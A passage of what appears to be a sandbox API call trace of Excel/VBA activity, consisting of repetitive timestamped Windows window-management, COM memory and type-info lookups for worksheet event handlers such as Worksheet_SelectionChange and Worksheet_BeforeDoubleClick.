pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0199.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0199.674] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0199.674] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0199.674] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0199.849] GetCurrentThreadId () returned 0x8fc [0199.849] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0199.849] GetDesktopWindow () returned 0x10010 [0199.849] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0199.849] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0199.849] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0199.849] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0199.849] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0199.849] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0199.850] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0199.850] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0199.850] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0199.850] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0199.851] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0199.851] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0199.851] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0199.851] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0199.851] IsWindowEnabled (hWnd=0x202b0) returned 1 [0199.851] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0199.851] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0199.851] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0199.851] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0199.851] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0199.851] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0199.851] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0199.851] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0199.851] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0199.852] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0199.852] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0199.852] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0199.852] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0199.852] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0199.852] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0199.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1ba20 [0199.853] IMalloc:Free (This=0x7feffc15380, pv=0xbe1ba20) [0200.216] GetAsyncKeyState (vKey=27) returned 0 [0200.216] GetCurrentThreadId () returned 0x8fc [0200.216] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0200.216] GetDesktopWindow () returned 0x10010 [0200.216] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0200.217] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0200.217] GetWindowLongPtrA (hWnd=0xb0168, nIndex=-6) returned 0x7feef2c0000 [0200.217] GetWindowLongPtrA (hWnd=0xb0168, nIndex=-6) returned 0x7feef2c0000 [0200.217] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0200.217] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0200.217] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0200.217] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0200.217] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0200.217] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0200.218] IsWindowEnabled (hWnd=0x202b0) returned 0 [0200.218] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0200.218] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0200.218] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0200.218] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0200.218] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0200.218] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0200.218] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0200.218] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0200.218] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0200.219] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0200.219] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0200.219] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0200.219] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0200.219] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0200.219] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0200.219] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1bc80 [0200.219] IMalloc:Free (This=0x7feffc15380, pv=0xbe1bc80) [0203.284] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e) returned 0x0 [0203.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0203.284] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0203.284] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0203.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0203.286] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0203.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0203.286] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0203.286] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0203.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0203.294] GetCurrentThreadId () returned 0x8fc [0203.294] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0203.294] GetDesktopWindow () returned 0x10010 [0203.295] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0203.295] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0203.295] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0203.295] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0203.295] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0203.295] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0203.295] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0203.295] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0203.296] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0203.296] IsWindowEnabled (hWnd=0x202b0) returned 1 [0203.296] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0203.296] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0203.296] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0203.296] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0203.296] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0203.296] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0203.296] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0203.296] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0203.297] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0203.297] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0203.297] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0203.297] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0203.297] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0203.297] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0203.297] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x72da9c0 [0203.297] IMalloc:Free (This=0x7feffc15380, pv=0x72da9c0) [0203.696] GetAsyncKeyState (vKey=27) returned 0 [0203.696] GetCurrentThreadId () returned 0x8fc [0203.696] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0203.696] GetDesktopWindow () returned 0x10010 [0203.697] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0203.697] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0203.697] GetWindowLongPtrA (hWnd=0xd0168, nIndex=-6) returned 0x7feef2c0000 [0203.697] GetWindowLongPtrA (hWnd=0xd0168, nIndex=-6) returned 0x7feef2c0000 [0203.697] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0203.697] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0203.697] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0203.697] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0203.697] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0203.698] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0203.698] IsWindowEnabled (hWnd=0x202b0) returned 0 [0203.698] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0203.698] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0203.698] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0203.698] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0203.698] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0203.698] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0203.698] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0203.698] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0203.698] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0203.699] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0203.699] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0203.699] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0203.699] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0203.699] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0203.699] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0203.699] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0203.699] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0203.699] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0203.699] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0203.699] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0203.699] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1bc80 [0203.699] IMalloc:Free (This=0x7feffc15380, pv=0xbe1bc80) [0206.822] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000345) returned 0x0 [0206.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0206.822] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0206.822] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0206.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0206.824] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0206.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0206.824] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0206.824] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0206.824] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0206.833] GetCurrentThreadId () returned 0x8fc [0206.833] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0206.833] GetDesktopWindow () returned 0x10010 [0206.833] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0206.834] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0206.834] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0206.834] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0206.834] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0206.834] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0206.834] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0206.834] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0206.835] IsWindowEnabled (hWnd=0x202b0) returned 1 [0206.835] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0206.835] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0206.835] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0206.835] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0206.835] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0206.835] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0206.835] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0206.835] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0206.835] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0206.836] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0206.836] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0206.836] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0206.836] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0206.836] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0206.836] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0206.836] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0206.836] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0206.836] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0206.836] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1c500 [0206.836] IMalloc:Free (This=0x7feffc15380, pv=0xbe1c500) [0207.228] GetAsyncKeyState (vKey=27) returned 0 [0207.228] GetCurrentThreadId () returned 0x8fc [0207.228] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0207.228] GetDesktopWindow () returned 0x10010 [0207.228] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0207.228] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0207.228] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0207.228] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0207.228] GetWindowLongPtrA (hWnd=0xf0168, nIndex=-6) returned 0x7feef2c0000 [0207.228] GetWindowLongPtrA (hWnd=0xf0168, nIndex=-6) returned 0x7feef2c0000 [0207.229] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0207.229] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0207.229] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x20268, 